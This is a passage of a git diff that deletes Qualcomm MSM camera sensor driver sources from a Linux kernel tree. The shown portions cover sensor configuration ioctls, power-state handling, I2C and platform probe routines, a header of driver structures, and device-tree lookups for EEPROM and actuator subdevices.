= kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_seq_reg_array)), - GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_seq_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_seq_table(s_ctrl->sensor_i2c_client, - &conf_array); - kfree(reg_setting); - break; - } - - case CFG_POWER_UP: - if (s_ctrl->sensor_state != MSM_SENSOR_POWER_DOWN) { - pr_err("%s:%d failed: invalid state %d\n", __func__, - __LINE__, s_ctrl->sensor_state); - rc = -EFAULT; - break; - } - if (s_ctrl->func_tbl->sensor_power_up) { - if (s_ctrl->sensordata->misc_regulator) - msm_sensor_misc_regulator(s_ctrl, 1); - - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - if (rc < 0) { - pr_err("%s:%d failed rc %d\n", __func__, - __LINE__, rc); - break; - } - s_ctrl->sensor_state = MSM_SENSOR_POWER_UP; - pr_err("%s:%d sensor state %d\n", __func__, __LINE__, - s_ctrl->sensor_state); - } else { - rc = -EFAULT; - } - break; - - case CFG_POWER_DOWN: - kfree(s_ctrl->stop_setting.reg_setting); - s_ctrl->stop_setting.reg_setting = NULL; - if (s_ctrl->sensor_state != MSM_SENSOR_POWER_UP) { - pr_err("%s:%d failed: invalid state %d\n", __func__, - __LINE__, s_ctrl->sensor_state); - rc = -EFAULT; - break; - } - if (s_ctrl->func_tbl->sensor_power_down) { - if (s_ctrl->sensordata->misc_regulator) - msm_sensor_misc_regulator(s_ctrl, 0); - - rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); - if (rc < 0) { - pr_err("%s:%d failed rc %d\n", __func__, - __LINE__, rc); - break; - } - s_ctrl->sensor_state = MSM_SENSOR_POWER_DOWN; - pr_err("%s:%d sensor state %d\n", __func__, __LINE__, - s_ctrl->sensor_state); - } else { - rc = -EFAULT; - } - break; - - case CFG_SET_STOP_STREAM_SETTING: { - struct msm_camera_i2c_reg_setting *stop_setting = - &s_ctrl->stop_setting; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - if (copy_from_user(stop_setting, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = stop_setting->reg_setting; - - if (!stop_setting->size) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - stop_setting->reg_setting = kzalloc(stop_setting->size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!stop_setting->reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(stop_setting->reg_setting, - (void *)reg_setting, - stop_setting->size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(stop_setting->reg_setting); - stop_setting->reg_setting = NULL; - stop_setting->size = 0; - rc = -EFAULT; - break; - } - break; - } - default: - rc = -EFAULT; - break; - } - - mutex_unlock(s_ctrl->msm_sensor_mutex); - - return rc; -} - -int msm_sensor_check_id(struct msm_sensor_ctrl_t *s_ctrl) -{ - int rc; - - if (s_ctrl->func_tbl->sensor_match_id) - rc = s_ctrl->func_tbl->sensor_match_id(s_ctrl); - else - rc = msm_sensor_match_id(s_ctrl); - if (rc < 0) - pr_err("%s:%d match id failed rc %d\n", __func__, __LINE__, rc); - return rc; -} - -static int msm_sensor_power(struct v4l2_subdev *sd, int on) -{ - int rc = 0; - struct msm_sensor_ctrl_t *s_ctrl = get_sctrl(sd); - mutex_lock(s_ctrl->msm_sensor_mutex); - if (!on && s_ctrl->sensor_state == MSM_SENSOR_POWER_UP) { - s_ctrl->func_tbl->sensor_power_down(s_ctrl); - s_ctrl->sensor_state = MSM_SENSOR_POWER_DOWN; - } - mutex_unlock(s_ctrl->msm_sensor_mutex); - return rc; -} - -static int msm_sensor_v4l2_enum_fmt(struct v4l2_subdev *sd, - unsigned int index, enum v4l2_mbus_pixelcode *code) -{ - struct msm_sensor_ctrl_t *s_ctrl = get_sctrl(sd); - - if ((unsigned int)index >= s_ctrl->sensor_v4l2_subdev_info_size) - return -EINVAL; - - *code = s_ctrl->sensor_v4l2_subdev_info[index].code; - return 0; -} - -static struct v4l2_subdev_core_ops msm_sensor_subdev_core_ops = { - .ioctl = msm_sensor_subdev_ioctl, - .s_power = msm_sensor_power, -}; - -static struct v4l2_subdev_video_ops msm_sensor_subdev_video_ops = { - .enum_mbus_fmt = msm_sensor_v4l2_enum_fmt, -}; - -static struct v4l2_subdev_ops msm_sensor_subdev_ops = { - .core = &msm_sensor_subdev_core_ops, - .video = &msm_sensor_subdev_video_ops, -}; - -static struct msm_sensor_fn_t msm_sensor_func_tbl = { - .sensor_config = msm_sensor_config, - .sensor_power_up = msm_sensor_power_up, - .sensor_power_down = msm_sensor_power_down, - .sensor_match_id = msm_sensor_match_id, -}; - -static struct msm_camera_i2c_fn_t msm_sensor_cci_func_tbl = { - .i2c_read = msm_camera_cci_i2c_read, - .i2c_read_seq = msm_camera_cci_i2c_read_seq, - .i2c_write = msm_camera_cci_i2c_write, - .i2c_write_table = msm_camera_cci_i2c_write_table, - .i2c_write_seq_table = msm_camera_cci_i2c_write_seq_table, - .i2c_write_table_w_microdelay = - msm_camera_cci_i2c_write_table_w_microdelay, - .i2c_util = msm_sensor_cci_i2c_util, - .i2c_write_conf_tbl = msm_camera_cci_i2c_write_conf_tbl, -}; - -static struct msm_camera_i2c_fn_t msm_sensor_qup_func_tbl = { - .i2c_read = msm_camera_qup_i2c_read, - .i2c_read_seq = msm_camera_qup_i2c_read_seq, - .i2c_write = msm_camera_qup_i2c_write, - .i2c_write_table = msm_camera_qup_i2c_write_table, - .i2c_write_seq_table = msm_camera_qup_i2c_write_seq_table, - .i2c_write_table_w_microdelay = - msm_camera_qup_i2c_write_table_w_microdelay, - .i2c_write_conf_tbl = msm_camera_qup_i2c_write_conf_tbl, -}; - -int32_t msm_sensor_platform_probe(struct platform_device *pdev, - const void *data) -{ - int rc = 0; - struct msm_sensor_ctrl_t *s_ctrl = - (struct msm_sensor_ctrl_t *)data; - struct msm_camera_cci_client *cci_client = NULL; - uint32_t session_id; - unsigned long mount_pos = 0; - s_ctrl->pdev = pdev; - CDBG("%s called data %p\n", __func__, data); - CDBG("%s pdev name %s\n", __func__, pdev->id_entry->name); - if (pdev->dev.of_node) { - rc = msm_sensor_get_dt_data(pdev->dev.of_node, s_ctrl); - if (rc < 0) { - pr_err("%s failed line %d\n", __func__, __LINE__); - return rc; - } - } - s_ctrl->sensordata->power_info.dev = &pdev->dev; - s_ctrl->sensor_device_type = MSM_CAMERA_PLATFORM_DEVICE; - s_ctrl->sensor_i2c_client->cci_client = kzalloc(sizeof( - struct msm_camera_cci_client), GFP_KERNEL); - if (!s_ctrl->sensor_i2c_client->cci_client) { - pr_err("%s failed line %d\n", __func__, __LINE__); - return rc; - } - /* TODO: get CCI subdev */ - cci_client = s_ctrl->sensor_i2c_client->cci_client; - cci_client->cci_subdev = msm_cci_get_subdev(); - cci_client->cci_i2c_master = s_ctrl->cci_i2c_master; - cci_client->sid = - s_ctrl->sensordata->slave_info->sensor_slave_addr >> 1; - cci_client->retries = 3; - cci_client->id_map = 0; - if (!s_ctrl->func_tbl) - s_ctrl->func_tbl = &msm_sensor_func_tbl; - if (!s_ctrl->sensor_i2c_client->i2c_func_tbl) - s_ctrl->sensor_i2c_client->i2c_func_tbl = - &msm_sensor_cci_func_tbl; - if (!s_ctrl->sensor_v4l2_subdev_ops) - s_ctrl->sensor_v4l2_subdev_ops = &msm_sensor_subdev_ops; - s_ctrl->sensordata->power_info.clk_info = - kzalloc(sizeof(cam_8974_clk_info), GFP_KERNEL); - if (!s_ctrl->sensordata->power_info.clk_info) { - pr_err("%s:%d failed nomem\n", __func__, __LINE__); - kfree(cci_client); - return -ENOMEM; - } - memcpy(s_ctrl->sensordata->power_info.clk_info, cam_8974_clk_info, - sizeof(cam_8974_clk_info)); - s_ctrl->sensordata->power_info.clk_info_size = - ARRAY_SIZE(cam_8974_clk_info); - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - if (rc < 0) { - pr_err("%s %s power up failed\n", __func__, - s_ctrl->sensordata->sensor_name); - kfree(s_ctrl->sensordata->power_info.clk_info); - kfree(cci_client); - return rc; - } - - pr_info("%s %s probe succeeded\n", __func__, - s_ctrl->sensordata->sensor_name); - v4l2_subdev_init(&s_ctrl->msm_sd.sd, - s_ctrl->sensor_v4l2_subdev_ops); - snprintf(s_ctrl->msm_sd.sd.name, - sizeof(s_ctrl->msm_sd.sd.name), "%s", - s_ctrl->sensordata->sensor_name); - v4l2_set_subdevdata(&s_ctrl->msm_sd.sd, pdev); - s_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - media_entity_init(&s_ctrl->msm_sd.sd.entity, 0, NULL, 0); - s_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - s_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR; - s_ctrl->msm_sd.sd.entity.name = - s_ctrl->msm_sd.sd.name; - - mount_pos = s_ctrl->sensordata->sensor_info->position << 16; - mount_pos = mount_pos | ((s_ctrl->sensordata->sensor_info-> - sensor_mount_angle / 90) << 8); - s_ctrl->msm_sd.sd.entity.flags = mount_pos | MEDIA_ENT_FL_DEFAULT; - - rc = camera_init_v4l2(&s_ctrl->pdev->dev, &session_id); - CDBG("%s rc %d session_id %d\n", __func__, rc, session_id); - s_ctrl->sensordata->sensor_info->session_id = session_id; - s_ctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x3; - msm_sd_register(&s_ctrl->msm_sd); - CDBG("%s:%d\n", __func__, __LINE__); - - s_ctrl->func_tbl->sensor_power_down(s_ctrl); - CDBG("%s:%d\n", __func__, __LINE__); - return rc; -} - -int msm_sensor_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id, struct msm_sensor_ctrl_t *s_ctrl) -{ - int rc = 0; - uint32_t session_id; - unsigned long mount_pos = 0; - CDBG("%s %s_i2c_probe called\n", __func__, client->name); - if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { - pr_err("%s %s i2c_check_functionality failed\n", - __func__, client->name); - rc = -EFAULT; - return rc; - } - - if (!client->dev.of_node) { - CDBG("msm_sensor_i2c_probe: of_node is NULL"); - s_ctrl = (struct msm_sensor_ctrl_t *)(id->driver_data); - if (!s_ctrl) { - pr_err("%s:%d sensor ctrl structure NULL\n", __func__, - __LINE__); - return -EINVAL; - } - s_ctrl->sensordata = client->dev.platform_data; - } else { - CDBG("msm_sensor_i2c_probe: of_node exisists"); - rc = msm_sensor_get_dt_data(client->dev.of_node, s_ctrl); - if (rc < 0) { - pr_err("%s failed line %d\n", __func__, __LINE__); - return rc; - } - } - - s_ctrl->sensor_device_type = MSM_CAMERA_I2C_DEVICE; - if (s_ctrl->sensordata == NULL) { - pr_err("%s %s NULL sensor data\n", __func__, client->name); - return -EFAULT; - } - - if (s_ctrl->sensor_i2c_client != NULL) { - s_ctrl->sensor_i2c_client->client = client; - s_ctrl->sensordata->power_info.dev = &client->dev; - if (s_ctrl->sensordata->slave_info->sensor_slave_addr) - s_ctrl->sensor_i2c_client->client->addr = - s_ctrl->sensordata->slave_info-> - sensor_slave_addr; - } else { - pr_err("%s %s sensor_i2c_client NULL\n", - __func__, client->name); - rc = -EFAULT; - return rc; - } - - if (!s_ctrl->func_tbl) - s_ctrl->func_tbl = &msm_sensor_func_tbl; - if (!s_ctrl->sensor_i2c_client->i2c_func_tbl) - s_ctrl->sensor_i2c_client->i2c_func_tbl = - &msm_sensor_qup_func_tbl; - if (!s_ctrl->sensor_v4l2_subdev_ops) - s_ctrl->sensor_v4l2_subdev_ops = &msm_sensor_subdev_ops; - - if (!client->dev.of_node) { - s_ctrl->sensordata->power_info.clk_info = - kzalloc(sizeof(cam_8960_clk_info), GFP_KERNEL); - if (!s_ctrl->sensordata->power_info.clk_info) { - pr_err("%s:%d failed nomem\n", __func__, __LINE__); - return -ENOMEM; - } - memcpy(s_ctrl->sensordata->power_info.clk_info, - cam_8960_clk_info, sizeof(cam_8960_clk_info)); - s_ctrl->sensordata->power_info.clk_info_size = - ARRAY_SIZE(cam_8960_clk_info); - } else { - s_ctrl->sensordata->power_info.clk_info = - kzalloc(sizeof(cam_8610_clk_info), GFP_KERNEL); - if (!s_ctrl->sensordata->power_info.clk_info) { - pr_err("%s:%d failed nomem\n", __func__, __LINE__); - return -ENOMEM; - } - memcpy(s_ctrl->sensordata->power_info.clk_info, - cam_8610_clk_info, sizeof(cam_8610_clk_info)); - s_ctrl->sensordata->power_info.clk_info_size = - ARRAY_SIZE(cam_8610_clk_info); - } - - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - if (rc < 0) { - pr_err("%s %s power up failed\n", __func__, client->name); - kfree(s_ctrl->sensordata->power_info.clk_info); - return rc; - } - - CDBG("%s %s probe succeeded\n", __func__, client->name); - snprintf(s_ctrl->msm_sd.sd.name, - sizeof(s_ctrl->msm_sd.sd.name), "%s", id->name); - v4l2_i2c_subdev_init(&s_ctrl->msm_sd.sd, client, - s_ctrl->sensor_v4l2_subdev_ops); - v4l2_set_subdevdata(&s_ctrl->msm_sd.sd, client); - s_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - media_entity_init(&s_ctrl->msm_sd.sd.entity, 0, NULL, 0); - s_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - s_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR; - s_ctrl->msm_sd.sd.entity.name = - s_ctrl->msm_sd.sd.name; - mount_pos = s_ctrl->sensordata->sensor_info->position << 16; - mount_pos = mount_pos | ((s_ctrl->sensordata->sensor_info-> - sensor_mount_angle / 90) << 8); - s_ctrl->msm_sd.sd.entity.flags = mount_pos | MEDIA_ENT_FL_DEFAULT; - - rc = camera_init_v4l2(&s_ctrl->sensor_i2c_client->client->dev, - &session_id); - CDBG("%s rc %d session_id %d\n", __func__, rc, session_id); - s_ctrl->sensordata->sensor_info->session_id = session_id; - s_ctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x3; - msm_sd_register(&s_ctrl->msm_sd); - CDBG("%s:%d\n", __func__, __LINE__); - - s_ctrl->func_tbl->sensor_power_down(s_ctrl); - return rc; -} - -int32_t msm_sensor_init_default_params(struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = -ENOMEM; - struct msm_camera_cci_client *cci_client = NULL; - struct msm_cam_clk_info *clk_info = NULL; - unsigned long mount_pos = 0; - - /* Validate input parameters */ - if (!s_ctrl) { - pr_err("%s:%d failed: invalid params s_ctrl %p\n", __func__, - __LINE__, s_ctrl); - return -EINVAL; - } - - if (!s_ctrl->sensor_i2c_client) { - pr_err("%s:%d failed: invalid params sensor_i2c_client %p\n", - __func__, __LINE__, s_ctrl->sensor_i2c_client); - return -EINVAL; - } - - /* Initialize cci_client */ - s_ctrl->sensor_i2c_client->cci_client = kzalloc(sizeof( - struct msm_camera_cci_client), GFP_KERNEL); - if (!s_ctrl->sensor_i2c_client->cci_client) { - pr_err("%s:%d failed: no memory cci_client %p\n", __func__, - __LINE__, s_ctrl->sensor_i2c_client->cci_client); - return -ENOMEM; - } - - if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - cci_client = s_ctrl->sensor_i2c_client->cci_client; - - /* Get CCI subdev */ - cci_client->cci_subdev = msm_cci_get_subdev(); - - /* Update CCI / I2C function table */ - if (!s_ctrl->sensor_i2c_client->i2c_func_tbl) - s_ctrl->sensor_i2c_client->i2c_func_tbl = - &msm_sensor_cci_func_tbl; - } else { - if (!s_ctrl->sensor_i2c_client->i2c_func_tbl) { - CDBG("%s:%d\n", __func__, __LINE__); - s_ctrl->sensor_i2c_client->i2c_func_tbl = - &msm_sensor_qup_func_tbl; - } - } - - /* Update function table driven by ioctl */ - if (!s_ctrl->func_tbl) - s_ctrl->func_tbl = &msm_sensor_func_tbl; - - /* Update v4l2 subdev ops table */ - if (!s_ctrl->sensor_v4l2_subdev_ops) - s_ctrl->sensor_v4l2_subdev_ops = &msm_sensor_subdev_ops; - - /* Initialize clock info */ - clk_info = kzalloc(sizeof(cam_8974_clk_info), GFP_KERNEL); - if (!clk_info) { - pr_err("%s:%d failed no memory clk_info %p\n", __func__, - __LINE__, clk_info); - rc = -ENOMEM; - goto FREE_CCI_CLIENT; - } - memcpy(clk_info, cam_8974_clk_info, sizeof(cam_8974_clk_info)); - s_ctrl->sensordata->power_info.clk_info = clk_info; - s_ctrl->sensordata->power_info.clk_info_size = - ARRAY_SIZE(cam_8974_clk_info); - - /* Update sensor mount angle and position in media entity flag */ - mount_pos = s_ctrl->sensordata->sensor_info->position << 16; - mount_pos = mount_pos | ((s_ctrl->sensordata->sensor_info-> - sensor_mount_angle / 90) << 8); - s_ctrl->msm_sd.sd.entity.flags = mount_pos | MEDIA_ENT_FL_DEFAULT; - - return 0; - -FREE_CCI_CLIENT: - kfree(cci_client); - return rc; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.h deleted file mode 100755 index 4ab123de41b26..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.h +++ /dev/null @@ -1,112 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_SENSOR_H -#define MSM_SENSOR_H - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm_camera_i2c.h" -#include "msm_camera_dt_util.h" -#include "msm_sd.h" - -#define DEFINE_MSM_MUTEX(mutexname) \ - static struct mutex mutexname = __MUTEX_INITIALIZER(mutexname) - -struct msm_sensor_ctrl_t; - -enum msm_sensor_state_t { - MSM_SENSOR_POWER_DOWN, - MSM_SENSOR_POWER_UP, -}; - -struct msm_sensor_fn_t { - int (*sensor_config) (struct msm_sensor_ctrl_t *, void __user *); - int (*sensor_power_down) (struct msm_sensor_ctrl_t *); - int (*sensor_power_up) (struct msm_sensor_ctrl_t *); - int (*sensor_match_id) (struct msm_sensor_ctrl_t *); -}; - - -struct msm_sensor_ctrl_t { - struct platform_device *pdev; - struct mutex *msm_sensor_mutex; - - enum msm_camera_device_type_t sensor_device_type; - struct msm_camera_sensor_board_info *sensordata; - struct msm_sensor_power_setting_array power_setting_array; - struct msm_sensor_packed_cfg_t *cfg_override; - struct msm_sd_subdev msm_sd; - enum cci_i2c_master_t cci_i2c_master; - - struct msm_camera_i2c_client *sensor_i2c_client; - struct v4l2_subdev_info *sensor_v4l2_subdev_info; - uint8_t sensor_v4l2_subdev_info_size; - struct v4l2_subdev_ops *sensor_v4l2_subdev_ops; - struct msm_sensor_fn_t *func_tbl; - struct msm_camera_i2c_reg_setting stop_setting; - void *misc_regulator; - enum msm_sensor_state_t sensor_state; - uint8_t is_probe_succeed; - uint32_t id; - struct device_node *of_node; - enum msm_camera_stream_type_t camera_stream_type; - uint32_t set_mclk_23880000; -}; - -int msm_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, void __user *argp); - -int msm_sensor_power_up(struct msm_sensor_ctrl_t *s_ctrl); - -int msm_sensor_power_down(struct msm_sensor_ctrl_t *s_ctrl); - -int msm_sensor_check_id(struct msm_sensor_ctrl_t *s_ctrl); - -int msm_sensor_match_id(struct msm_sensor_ctrl_t *s_ctrl); - -int32_t msm_sensor_platform_probe(struct platform_device *pdev, - const void *data); -int msm_sensor_update_cfg(struct msm_sensor_ctrl_t *s_ctrl); - -int msm_sensor_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id, struct msm_sensor_ctrl_t *s_ctrl); - -int msm_sensor_free_sensor_data(struct msm_sensor_ctrl_t *s_ctrl); - -int32_t msm_sensor_init_default_params(struct msm_sensor_ctrl_t *s_ctrl); - -int32_t msm_sensor_get_dt_gpio_req_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size); - -int32_t msm_sensor_get_dt_gpio_set_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size); - -int32_t msm_sensor_init_gpio_pin_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size); -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.c deleted file mode 100644 index e7ed93b0c7159..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.c +++ /dev/null @@ -1,1034 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#define SENSOR_DRIVER_I2C "camera" -/* Header file declaration */ -#include "msm_sensor.h" -#include "msm_sd.h" -#include "camera.h" -#include "msm_cci.h" -#include "msm_camera_dt_util.h" - -/* Logging macro */ -/*#define MSM_SENSOR_DRIVER_DEBUG*/ -#undef CDBG -#ifdef MSM_SENSOR_DRIVER_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) pr_debug(fmt, ##args) -#endif - -#define SENSOR_MAX_MOUNTANGLE (360) - -/* Static declaration */ -static struct msm_sensor_ctrl_t *g_sctrl[MAX_CAMERAS]; - -static int msm_sensor_platform_remove(struct platform_device *pdev) -{ - struct msm_sensor_ctrl_t *s_ctrl; - - pr_err("%s: sensor FREE\n", __func__); - - s_ctrl = g_sctrl[pdev->id]; - if (!s_ctrl) { - pr_err("%s: sensor device is NULL\n", __func__); - return 0; - } - - msm_sensor_free_sensor_data(s_ctrl); - kfree(s_ctrl->msm_sensor_mutex); - kfree(s_ctrl->sensor_i2c_client); - kfree(s_ctrl); - g_sctrl[pdev->id] = NULL; - - return 0; -} - - -static const struct of_device_id msm_sensor_driver_dt_match[] = { - {.compatible = "qcom,camera"}, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_sensor_driver_dt_match); - -static struct platform_driver msm_sensor_platform_driver = { - .driver = { - .name = "qcom,camera", - .owner = THIS_MODULE, - .of_match_table = msm_sensor_driver_dt_match, - }, - .remove = msm_sensor_platform_remove, -}; - -static struct v4l2_subdev_info msm_sensor_driver_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static int32_t msm_sensor_driver_create_i2c_v4l_subdev - (struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - uint32_t session_id = 0; - struct i2c_client *client = s_ctrl->sensor_i2c_client->client; - - CDBG("%s %s I2c probe succeeded\n", __func__, client->name); - rc = camera_init_v4l2(&client->dev, &session_id); - if (rc < 0) { - pr_err("failed: camera_init_i2c_v4l2 rc %d", rc); - return rc; - } - CDBG("%s rc %d session_id %d\n", __func__, rc, session_id); - snprintf(s_ctrl->msm_sd.sd.name, - sizeof(s_ctrl->msm_sd.sd.name), "%s", - s_ctrl->sensordata->sensor_name); - v4l2_i2c_subdev_init(&s_ctrl->msm_sd.sd, client, - s_ctrl->sensor_v4l2_subdev_ops); - v4l2_set_subdevdata(&s_ctrl->msm_sd.sd, client); - s_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - media_entity_init(&s_ctrl->msm_sd.sd.entity, 0, NULL, 0); - s_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - s_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR; - s_ctrl->msm_sd.sd.entity.name = s_ctrl->msm_sd.sd.name; - s_ctrl->sensordata->sensor_info->session_id = session_id; - s_ctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x3; - msm_sd_register(&s_ctrl->msm_sd); - CDBG("%s:%d\n", __func__, __LINE__); - return rc; -} - -static int32_t msm_sensor_driver_create_v4l_subdev - (struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - uint32_t session_id = 0; - - rc = camera_init_v4l2(&s_ctrl->pdev->dev, &session_id); - if (rc < 0) { - pr_err("failed: camera_init_v4l2 rc %d", rc); - return rc; - } - CDBG("rc %d session_id %d", rc, session_id); - s_ctrl->sensordata->sensor_info->session_id = session_id; - - /* Create /dev/v4l-subdevX device */ - v4l2_subdev_init(&s_ctrl->msm_sd.sd, s_ctrl->sensor_v4l2_subdev_ops); - snprintf(s_ctrl->msm_sd.sd.name, sizeof(s_ctrl->msm_sd.sd.name), "%s", - s_ctrl->sensordata->sensor_name); - v4l2_set_subdevdata(&s_ctrl->msm_sd.sd, s_ctrl->pdev); - s_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - media_entity_init(&s_ctrl->msm_sd.sd.entity, 0, NULL, 0); - s_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - s_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR; - s_ctrl->msm_sd.sd.entity.name = s_ctrl->msm_sd.sd.name; - s_ctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x3; - msm_sd_register(&s_ctrl->msm_sd); - return rc; -} - -static int32_t msm_sensor_fill_eeprom_subdevid_by_name( - struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - const char *eeprom_name; - struct device_node *src_node = NULL; - uint32_t val = 0, count = 0, eeprom_name_len; - int i; - int32_t *eeprom_subdev_id; - struct msm_sensor_info_t *sensor_info; - struct device_node *of_node = s_ctrl->of_node; - const void *p; - - if (!s_ctrl->sensordata->eeprom_name || !of_node) - return -EINVAL; - - eeprom_name_len = strlen(s_ctrl->sensordata->eeprom_name); - if (eeprom_name_len >= MAX_SENSOR_NAME) - return -EINVAL; - - sensor_info = s_ctrl->sensordata->sensor_info; - eeprom_subdev_id = &sensor_info->subdev_id[SUB_MODULE_EEPROM]; - /* - * string for eeprom name is valid, set sudev id to -1 - * and try to found new id - */ - *eeprom_subdev_id = -1; - - if (0 == eeprom_name_len) - return 0; - - CDBG("Try to find eeprom subdev for %s\n", - s_ctrl->sensordata->eeprom_name); - p = of_get_property(of_node, "qcom,eeprom-src", &count); - if (!p || !count) - return 0; - - count /= sizeof(uint32_t); - for (i = 0; i < count; i++) { - eeprom_name = NULL; - src_node = of_parse_phandle(of_node, "qcom,eeprom-src", i); - if (!src_node) { - pr_err("eeprom src node NULL\n"); - continue; - } - rc = of_property_read_string(src_node, "qcom,eeprom-name", - &eeprom_name); - if (rc < 0) { - pr_err("failed\n"); - of_node_put(src_node); - continue; - } - if (strcmp(eeprom_name, s_ctrl->sensordata->eeprom_name)) - continue; - - rc = of_property_read_u32(src_node, "cell-index", &val); - - CDBG("%s qcom,eeprom cell index %d, rc %d\n", __func__, - val, rc); - if (rc < 0) { - pr_err("failed\n"); - of_node_put(src_node); - continue; - } - - *eeprom_subdev_id = val; - CDBG("Done. Eeprom subdevice id is %d\n", val); - of_node_put(src_node); - src_node = NULL; - break; - } - - return rc; -} - -static int32_t msm_sensor_fill_actuator_subdevid_by_name( - struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - struct device_node *src_node = NULL; - uint32_t val = 0, actuator_name_len; - int32_t *actuator_subdev_id; - struct msm_sensor_info_t *sensor_info; - struct device_node *of_node = s_ctrl->of_node; - - if (!s_ctrl->sensordata->actuator_name || !of_node) - return -EINVAL; - - actuator_name_len = strlen(s_ctrl->sensordata->actuator_name); - if (actuator_name_len >= MAX_SENSOR_NAME) - return -EINVAL; - - sensor_info = s_ctrl->sensordata->sensor_info; - actuator_subdev_id = &sensor_info->subdev_id[SUB_MODULE_ACTUATOR]; - /* - * string for actuator name is valid, set sudev id to -1 - * and try to found new id - */ - *actuator_subdev_id = -1; - - if (0 == actuator_name_len) - return 0; - - src_node = of_parse_phandle(of_node, "qcom,actuator-src", 0); - if (!src_node) { - CDBG("%s:%d src_node NULL\n", __func__, __LINE__); - } else { - rc = of_property_read_u32(src_node, "cell-index", &val); - CDBG("%s qcom,actuator cell index %d, rc %d\n", __func__, - val, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return -EINVAL; - } - *actuator_subdev_id = val; - of_node_put(src_node); - src_node = NULL; - } - - return rc; -} - -static int32_t 